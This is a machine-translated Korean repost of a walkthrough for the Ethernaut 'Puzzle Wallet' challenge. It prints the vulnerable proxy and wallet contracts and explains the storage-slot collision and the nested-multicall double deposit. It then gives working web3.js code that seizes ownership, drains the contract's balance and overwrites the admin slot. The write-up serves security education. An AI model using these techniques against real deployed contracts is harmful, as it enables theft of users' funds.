Ethernaut: 24. 퍼즐 지갑
23910 단어 ethereumopenzeppelinsecuritysolidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
여기에서 사용 중인 업그레이드 가능한 프록시 구현이 있습니다. Proxies은 로직과 메인 컨트랙트 사이의 일종의 중개자로서, 메인 컨트랙트에 해당 로직을 작성하여 업그레이드할 수 없는 대신 다른 컨트랙트에 작성하고 프록시 포인트를 만듭니다. 이렇게 하면 해당 논리에 업데이트가 필요한 경우 새 계약을 만들고 프록시를 지정합니다.
delegatecall
를 사용하여 이를 구현하는데, delegatecall
를 함부로 사용하면 생활이 만만치 않다는 것을 지금쯤은 아셔야 합니다!스토리지 충돌
가장 먼저 알 수 있는 것은 프록시와 논리 사이에 저장소 충돌이 있다는 것입니다.
슬롯
대리
논리
0
pendingAdmin
owner
1
admin
maxBalance
2
whitelisted
(지도)삼
balances
(지도)이 익스플로잇을 염두에 두고 옵션을 살펴보겠습니다.
maxBalance
에 쓰면 프록시에서 admin
를 덮어씁니다. 그것은 게임에서 승리하기 위한 좋은 공격 벡터인 것 같습니다. maxBalance
를 업데이트하려면 지갑 잔액이 0이어야 하고 msg.sender
가 화이트리스트에 있어야 합니다. addToWhitelist
가 owner
에 의해 호출되어야 합니다. owner
가 pendingAdmin
와 충돌했고 proposeAdmin
를 통해 덮어쓸 수 있습니다! 소유자가 된 후 화이트리스트에 자신을 추가할 수 있습니다. 지갑 비우기
지금까지는 계획이 괜찮아 보이지만 한 가지가 빠져 있습니다. 지갑을 어떻게 비울까요? 우리가 소유자이자 허용 목록에 있다고 가정하고 우리가 무엇을 가지고 있는지 봅시다.
deposit
기능을 사용하면 maxBalance
를 초과하지 않는 한 입금할 수 있습니다. execute
기능을 사용하면 잔액 내에 있는 일부 값을 가진 모든 주소에서 기능을 수행할 수 있습니다call
. 통화 데이터와 목적지 주소가 없으면 withdraw
기능처럼 작동합니다. multicall
기능을 사용하면 단일 트랜잭션에서 위의 두 항목을 여러 번 호출할 수 있습니다. 이 기능은 기본적으로 전체 계약의 주요 아이디어입니다. multicall
함수는 부울 플래그를 통해 deposit
에 대한 이중 지출을 확인합니다. 그러나 이 플래그는 하나만 작동합니다multicall
! multicall
내에서 multicall
를 호출하는 경우 우회할 수 있습니다. delegatecall
도 msg.value
를 전달하므로 잔액보다 더 많은 돈을 넣을 수 있습니다.공격
먼저
owner
가 되어 화이트리스트를 만들어 봅시다. 콘솔 내에서 우리는 PuzzleWallet
객체를 통해서만 논리 계약( contract
)에 노출되지만 모든 것은 프록시를 먼저 통과합니다. calldata를 수동으로 제공하여 함수를 호출할 수 있습니다.const functionSelector = '0xa6376746'; // proposeNewAdmin(address)
await web3.eth.sendTransaction({
from: player,
to: contract.address,
data: web3.utils.encodePacked(functionSelector, web3.utils.padLeft(player, 64))
})
// confirm that it worked
if (player == (await contract.owner())) {
// whitelist ourselves
await contract.addToWhitelist(player)
}
다음 단계는 계약 잔액을 소진하는 것입니다.
await getBalance(contract.address)
를 통해 총 잔액을 확인하면 0.001
가 표시됩니다. 따라서 어떻게든 이중 지출로 0.001
를 두 번 입금하면 계약에서는 총 잔액이 0.003
라고 생각하지만 실제로는 0.002
가 됩니다. 그러면 잔액만 인출할 수 있고 계약 잔액이 소진됩니다.다음은
multicall
s를 배열하는 방법에 대한 스키마입니다.// let 'b' denote balance of contract
// call with {value: b}
multicall:[
deposit(),
multicall:[
deposit() // double spending!
],
execute(player, 2 * b, []) // drain contract
]
이 스키마에 대한 실제 코드 작성:
// contract balance
const _b = web3.utils.toWei(await getBalance(contract.address))
// 2 times contract balance
const _2b = web3.utils.toBN(_b).add(web3.utils.toBN(_b))
await contract.multicall([
// first deposit
(await contract.methods["deposit()"].request()).data,
// multicall for the second deposit
(await contract.methods["multicall(bytes[])"].request([
// second deposit
(await contract.methods["deposit()"].request()).data
])).data,
// withdraw via execute
(await contract.methods["execute(address,uint256,bytes)"].request(player, _2b, [])).data
],
{value: _b})
multicall
덕분에 단일 트랜잭션에서도 공격이 실행됩니다 :) 이후 await getBalance(contract.address)
를 통해 계약 잔액이 현재 0임을 확인할 수 있습니다.다음 단계인
setMaxBalance
를 호출할 준비가 되었습니다. 여기에 보내는 값은 admin
값을 덮어쓰므로 주소를 uint256
로 변환하고 이 함수를 호출합니다.await contract.setMaxBalance(web3.utils.hexToNumberString(player))
// see that admin value is overwritten
await web3.eth.getStorageAt(contract.address, 1)
그게 다야!
Reference
이 문제에 관하여(Ethernaut: 24. 퍼즐 지갑), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-24-puzzle-wallet-49c0텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)